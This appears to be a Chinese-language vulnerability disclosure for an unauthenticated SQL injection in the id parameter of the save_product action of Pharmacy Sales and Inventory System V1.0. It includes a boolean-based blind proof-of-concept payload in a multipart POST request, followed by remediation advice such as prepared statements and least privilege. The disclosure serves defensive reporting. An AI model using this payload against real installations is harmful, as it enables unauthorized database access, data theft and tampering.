# 漏洞总结:Pharmacy Sales and Inventory System V1.0 SQL注入 ## 漏洞概述 * **受影响产品**:Pharmacy Sales and Inventory System V1.0 * **漏洞类型**:SQL注入 (SQL injection) * **漏洞文件**:`/ajax.php?action=save_product` * **漏洞参数**:`id` * **利用条件**:无需登录或授权即可利用。 * **根本原因**:攻击者可以在`id`参数中注入恶意代码,并在SQL查询中直接使用,未进行适当的清理或验证。 ## 影响范围 * 攻击者可以利用此漏洞实现未经授权的数据库访问。 * 敏感数据泄露。 * 数据篡改。 * 全面控制系统控制权。 * 服务中断。 ## 漏洞详情与 POC * **类型**:Boolean-based blind (布尔盲注) * **Payload**: ```text --- Parameter: MULTIPART id ((custom) POST) Type: boolean-based blind Title: Boolean-based blind - Parameter replace (original value) Payload: -----------------3738858121816587200387936454 Content-Disposition: form-data; name="id" (SELECT (CASE WHEN (7479=7479) THEN '1' ELSE (SELECT 5203 UNION SELECT 7749) END)) -----------------3738858121816587200387936454 Content-Disposition: form-data; name="name" 1111 -----------------3738858121816587200387936454--- ``` ## 修复方案 1. **使用预准备语句和参数绑定**:预准备语句可以防止 SQL 注入,因为它们将 SQL 代码与用户输入数据分开。在使用预准备语句时,用户输入的值被视为纯数据,不会被解释为 SQL 代码。 2. **输入验证和过滤**:严格验证和过滤用户输入数据,以确保其符合预期格式。 3. **最小化数据库用户权限**:确保用于连接数据库的账户具有最少的必要权限。避免使用具有高级权限的账户(如 'root' 或 'admin')进行日常操作。 4. **定期安全审计**:定期进行代码和系统安全审计,以及时识别和修复潜在的安全漏洞。